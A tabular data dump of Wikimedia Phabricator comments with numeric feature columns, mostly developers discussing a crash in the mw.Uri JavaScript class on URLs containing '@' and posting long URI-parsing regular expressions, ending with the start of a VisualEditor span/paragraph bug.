.0,0.0,0.25,0.0,0.0,0.25,0.0,8.0,1.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.25,0.0,1.0,0.25,21.5,0.5,0.5,2.25,0.0,0.0,0.0,0.0,1.25,0.0,6.75,0.0,1.0,3.25,17.25,0.0,0.0,0.0,1.0,0.0,0.25,0.25,0.25,0.0,0.25,0.0,0.0,6.43689393939394,0.31785353535353533,"Tyler, this looks way too short on the first glance and doesn't work. It also explicitly doesn't support protocol-relative URIs.

Here's one that works (this is used by Ruby's URI parsing library). Of course it's not hardcoded in the code like this, but constructed on the fly from regexes for specific URI parts. I could port this to JS in a reasonable way, if anybody except for me actually wants this.

/^(?:[a-zA-Z][\-+.a-zA-Z\d]*:(?:(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)(?:\?(?:(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*))?|(?:[\-_.!~*'()a-zA-Z\d;?:@&=+$,]|%[a-fA-F\d]{2})(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)|(?:\/\/(?:(?:(?:[\-_.!~*'()a-zA-Z\d;:&=+$,]|%[a-fA-F\d]{2})*@)?(?:(?:[a-zA-Z0-9\-.]|%\h\h)+|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|\[(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:(?:[a-fA-F\d]{1,4}:)*[a-fA-F\d]{1,4})?::(?:(?:[a-fA-F\d]{1,4}:)*(?:[a-fA-F\d]{1,4}|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}))?)\])(?::\d*)?|(?:[\-_.!~*'()a-zA-Z\d$,;:@&=+]|%[a-fA-F\d]{2})+)(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?|\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*|(?:[\-_.!~*'()a-zA-Z\d;@&=+$,]|%[a-fA-F\d]{2})+(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*(?:\/(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*(?:;(?:[\-_.!~*'()a-zA-Z\d:@&=+$,]|%[a-fA-F\d]{2})*)*)*)?)(?:\?(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?)?(?:#(?:[\-_.!~*'()a-zA-Z\d;\/?:@&=+$,\[\]]|%[a-fA-F\d]{2})*)?$/"
197688,mediawiki.Uri crashes in pages with '@' in their url,"BTW, for whoever's curious, here is what an official URI regular expression would look like (it does't work, needs debugging; it's probably missing a parentheses or something):

/^[A-Za-z][A-Za-z0-9\+\-\.]*:(\/\/(([:A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})@)?(\[(|v[A-Fa-f]+\.[:A-Z0-9-\._~!\$&'\(\)\*\+,;=]+)\]|([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])|([A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))(:[0-9]*)?(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|)\?((([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?(#(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?$/",,,1358636139,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,13.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,14.5,0.0,1.0,1.0,19.5,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.032814096016343,0.38885342185903987,"BTW, for whoever's curious, here is what an official URI regular expression would look like (it does't work, needs debugging; it's probably missing a parentheses or something):

/^[A-Za-z][A-Za-z0-9\+\-\.]*:(\/\/(([:A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})@)?(\[(|v[A-Fa-f]+\.[:A-Z0-9-\._~!\$&'\(\)\*\+,;=]+)\]|([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])\.([0-9]|[1-9][0-9]|2[0-4][0-9]|25[0-5])|([A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))(:[0-9]*)?(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))+(\/(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2}))*)*|)\?((([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?(#(([:@A-Z0-9-\._~!\$&'\(\)\*\+,;=]|%[A-Fa-f]{2})|[\/\?])*)?$/"
197680,mediawiki.Uri crashes in pages with '@' in their url,Change-Id: I4954bfd3750d5c990e91cc0dc8a175225ccbad1e,,,1358621587,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: I4954bfd3750d5c990e91cc0dc8a175225ccbad1e
197675,mediawiki.Uri crashes in pages with '@' in their url,"Yes, but is it truly necessary to validate that much? I mean, for example, take the (invalid) URI ""https://www.google.com/search?q=test test"". The URI is invalid because it has a space character in the query, but if you were to do something like ""location.href = <that uri>"", it would work perfectly fine, because the browser automatically percent-encodes the space.

Basically, I'm wondering for what the mw.Uri class is being used for that requires such strict validation.",,,1358556627,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,1.0,1.0,1.0,2.0,0.0,7.0,2.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,6.0,11.0,6.0,1.0,4.0,0.0,6.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,3.727272727272727,0.6868686868686869,"Yes, but is it truly necessary to validate that much? I mean, for example, take the (invalid) URI ""URL test"". The URI is invalid because it has a space character in the query, but if you were to do something like ""location.href = <that uri>"", it would work perfectly fine, because the browser automatically percent-encodes the space.

Basically, I'm wondering for what the mw.Uri class is being used for that requires such strict validation."
197668,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #10)
> I wouldn't attempt to make a comprehensive URI parsing library in JavaScript.

> The first reason is because it's unnecessary. With the fix I just uploaded to
> Gerrit, there should not be any more bugs in this function. 

I just pointed out a glaring one above.

(In reply to comment #8)
> What about whitespace in the authority part? (This isn't allowed,
> but those regexes match it just fine.)

I'm sure there are more, waiting to be uncovered.


> Secondly, the
> regular expression would be absurdly complicated. URIs have specific sets of
> characters that can be included only in certain sections. I wrote a regex for
> an official URI once when I was working on the PHP version of this class
> (still
> in Gerrit), and it was so confusing it took days to get it working properly.

Of course, I know this. That's why I'm suggesting using the work of someone who has already spent time pulling his hair out to get this right; or at least just taking those crazy regexes in from some other library.",,,1358549728,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,1.0,1.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.5,3.0,1.0,6.5,9.5,1.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,4.5,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.5,1.0,13.0,1.0,1.0,6.0,0.0,0.0,0.0,1.0,2.5,0.0,1.5,0.0,4.0,9.5,5.0,0.0,0.0,0.0,4.0,0.0,2.0,0.5,0.0,4.5,0.5,1.0,0.0,3.388888888888889,0.712962962962963,"(In reply to comment #10)
QUOTE

QUOTE
QUOTE

I just pointed out a glaring one above.

(In reply to comment #8)
QUOTE
QUOTE

I'm sure there are more, waiting to be uncovered.


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Of course, I know this. That's why I'm suggesting using the work of someone who has already spent time pulling his hair out to get this right; or at least just taking those crazy regexes in from some other library."
197660,mediawiki.Uri crashes in pages with '@' in their url,"I wouldn't attempt to make a comprehensive URI parsing library in JavaScript. The first reason is because it's unnecessary. With the fix I just uploaded to Gerrit, there should not be any more bugs in this function. Secondly, the regular expression would be absurdly complicated. URIs have specific sets of characters that can be included only in certain sections. I wrote a regex for an official URI once when I was working on the PHP version of this class (still in Gerrit), and it was so confusing it took days to get it working properly.",,,1358545565,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0.5,0.0,0.0,1.0,1.0,6.5,2.5,0.5,0.0,0.0,3.0,0.5,0.0,1.0,0.5,3.0,0.0,8.0,9.5,0.0,1.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.5,2.0,0.5,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,6.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,4.5,9.0,1.5,1.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,9.5,5.0,0.0,0.0,0.0,6.0,0.0,2.0,2.5,0.0,2.5,0.5,0.0,0.0,4.138888888888888,0.8333333333333333,"I wouldn't attempt to make a comprehensive URI parsing library in JavaScript. The first reason is because it's unnecessary. With the fix I just uploaded to Gerrit, there should not be any more bugs in this function. Secondly, the regular expression would be absurdly complicated. URIs have specific sets of characters that can be included only in certain sections. I wrote a regex for an official URI once when I was working on the PHP version of this class (still in Gerrit), and it was so confusing it took days to get it working properly."
197653,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #8)
> (In reply to comment #6)
> > On further investigation and following links from that gist, it looks like
> > the
> > regexes in mw.Uri aren't so half-baked.
> > 
> > They actually come from here:
> > http://blog.stevenlevithan.com/archives/parseuri
> 
> If they weren't half-baked, mw.Uri wouldn't crash on '@' in the URL. 
> 
> These regexes are already awful (177 characters? Seriously?), and are bound
> to
> get worse as we discover more edge-cases. 
> 
> What about password with a '@' in it? (Yeah, this is allowed as far as I
> know,

No, those need to be url escaped afaik. At least in Chrome and in the nodejs modules I used it the password (especially the @ symbol) needs to be url escaped or it won't work.

> While on second though the <a>-abuse I linked isn't a good idea, we really
> need a serious parsing library.

I'm open to suggestions, though it'll need to be flexible and be replaceable in-place to allow smooth transition (same API and and unit tests, different internal implementation).

The module is generic enough to easily allow a different parser.

But there is some ambiguity on the fields to be extracted and their meaning[1], so even a ""perfect"" library may need modification to work for us and our interpretation of those terms.

[1] http://tantek.com/2011/238/b1/many-ways-slice-url-name-pieces",,,1358542770,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0.5,0.0,0.0,0.5,0.5,7.5,2.5,0.0,0.5,0.0,2.0,1.5,0.0,0.0,0.5,2.0,0.0,3.0,9.5,0.0,4.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,2.5,0.0,1.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,3.5,0.0,2.5,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,3.5,4.0,14.0,0.5,4.5,5.5,0.0,0.0,0.0,0.5,6.5,0.0,1.5,0.0,4.0,9.5,8.0,0.0,1.0,0.5,4.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.5,3.6179775280898876,0.601123595505618,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, those need to be url escaped afaik. At least in Chrome and in the nodejs modules I used it the password (especially the @ symbol) needs to be url escaped or it won't work.

QUOTE
QUOTE

I'm open to suggestions, though it'll need to be flexible and be replaceable in-place to allow smooth transition (same API and and unit tests, different internal implementation).

The module is generic enough to easily allow a different parser.

But there is some ambiguity on the fields to be extracted and their meaning[1], so even a ""perfect"" library may need modification to work for us and our interpretation of those terms.

[1] URL"
197648,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #6)
> On further investigation and following links from that gist, it looks like
> the
> regexes in mw.Uri aren't so half-baked.
> 
> They actually come from here:
> http://blog.stevenlevithan.com/archives/parseuri

If they weren't half-baked, mw.Uri wouldn't crash on '@' in the URL. 

These regexes are already awful (177 characters? Seriously?), and are bound to get worse as we discover more edge-cases. 

What about password with a '@' in it? (Yeah, this is allowed as far as I know, and works.) What about whitespace in the authority part? (This isn't allowed, but those regexes match it just fine.)

While on second though the <a>-abuse I linked isn't a good idea, we really need a serious parsing library.",,,1358532368,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,2.0,2.5,3.5,1.0,0.0,0.5,0.5,4.0,4.5,0.0,0.0,0.0,2.5,0.0,7.5,10.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,5.5,1.0,1.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.5,10.5,2.0,2.0,6.5,0.0,0.0,0.0,0.5,1.5,0.5,1.0,0.0,4.5,10.0,3.5,2.5,2.5,1.0,4.5,0.0,1.0,2.0,0.0,0.5,1.0,0.0,0.5,3.2260273972602738,0.6986301369863013,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If they weren't half-baked, mw.Uri wouldn't crash on '@' in the URL. 

These regexes are already awful (177 characters? Seriously?), and are bound to get worse as we discover more edge-cases. 

What about password with a '@' in it? (Yeah, this is allowed as far as I know, and works.) What about whitespace in the authority part? (This isn't allowed, but those regexes match it just fine.)

While on second though the <a>-abuse I linked isn't a good idea, we really need a serious parsing library."
197644,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #6)
> (In reply to comment #3)
> > I googled a little for a reasonable JS URI parsing library that could replace
> > those half-baked regexes, and found this: https://gist.github.com/2428561
> > 
> > It seems genius and is 100% correct. Is it a good idea to use something like
> > this? If it is, I can implement it.
> 
> That's not a URI parsing library, that's an unreliable hack using <a href="""">
> parsing. See the comments there.
> 
> On further investigation and following links from that gist, it looks like
> the
> regexes in mw.Uri aren't so half-baked.
> 
> They actually come from here:
> http://blog.stevenlevithan.com/archives/parseuri

Indeed. You'll also notice that the user and password aren't parsed at all in that implementation.

Also, https://gerrit.wikimedia.org/r/44665",,,1358531480,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,32.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,8.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.353846153846154,0.49230769230769234,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Indeed. You'll also notice that the user and password aren't parsed at all in that implementation.

Also, GERRIT_URL"
197640,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #3)
> I googled a little for a reasonable JS URI parsing library that could replace
> those half-baked regexes, and found this: https://gist.github.com/2428561
> 
> It seems genius and is 100% correct. Is it a good idea to use something like
> this? If it is, I can implement it.

That's not a URI parsing library, that's an unreliable hack using <a href=""""> parsing. See the comments there.

On further investigation and following links from that gist, it looks like the regexes in mw.Uri aren't so half-baked.

They actually come from here:
http://blog.stevenlevithan.com/archives/parseuri",,,1358530663,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,16.0,0.0,1.0,10.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,4.0,9.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,1.0,3.3902439024390243,0.7317073170731707,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's not a URI parsing library, that's an unreliable hack using <a href=""""> parsing. See the comments there.

On further investigation and following links from that gist, it looks like the regexes in mw.Uri aren't so half-baked.

They actually come from here:
URL"
197634,mediawiki.Uri crashes in pages with '@' in their url,Found the problem. Expect a patch in the near future.,,,1358530566,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,17.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,Found the problem. Expect a patch in the near future.
197628,mediawiki.Uri crashes in pages with '@' in their url,It should be noted that those are HTML5-specific properties.,,,1358529061,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,It should be noted that those are HTML5-specific properties.
197622,mediawiki.Uri crashes in pages with '@' in their url,"I googled a little for a reasonable JS URI parsing library that could replace those half-baked regexes, and found this: https://gist.github.com/2428561

It seems genius and is 100% correct. Is it a good idea to use something like this? If it is, I can implement it.",,,1355779261,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,5.0,15.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,7.0,5.0,2.0,0.0,0.0,11.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.5272727272727273,0.8181818181818182,"I googled a little for a reasonable JS URI parsing library that could replace those half-baked regexes, and found this: URL

It seems genius and is 100% correct. Is it a good idea to use something like this? If it is, I can implement it."
197617,mediawiki.Uri crashes in pages with '@' in their url,"Not yet, but if nobody does I will eventually.",,,1355764277,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,"Not yet, but if nobody does I will eventually."
197609,mediawiki.Uri crashes in pages with '@' in their url,"Krinkle: As dependency bug 42306 is assigned to, do you work on this?",,,1355708459,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,1.0,"Krinkle: As dependency bug 42306 is assigned to, do you work on this?"
44487,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"Wikitext to reproduce:

<span>
[bunch of newlines]
</span>

Parsoid generates <span><p></p></span> for this, but it doesn't mark the span.

Todo:
* Make the failure a bit more graceful
* Investigate whether p inside span is legal
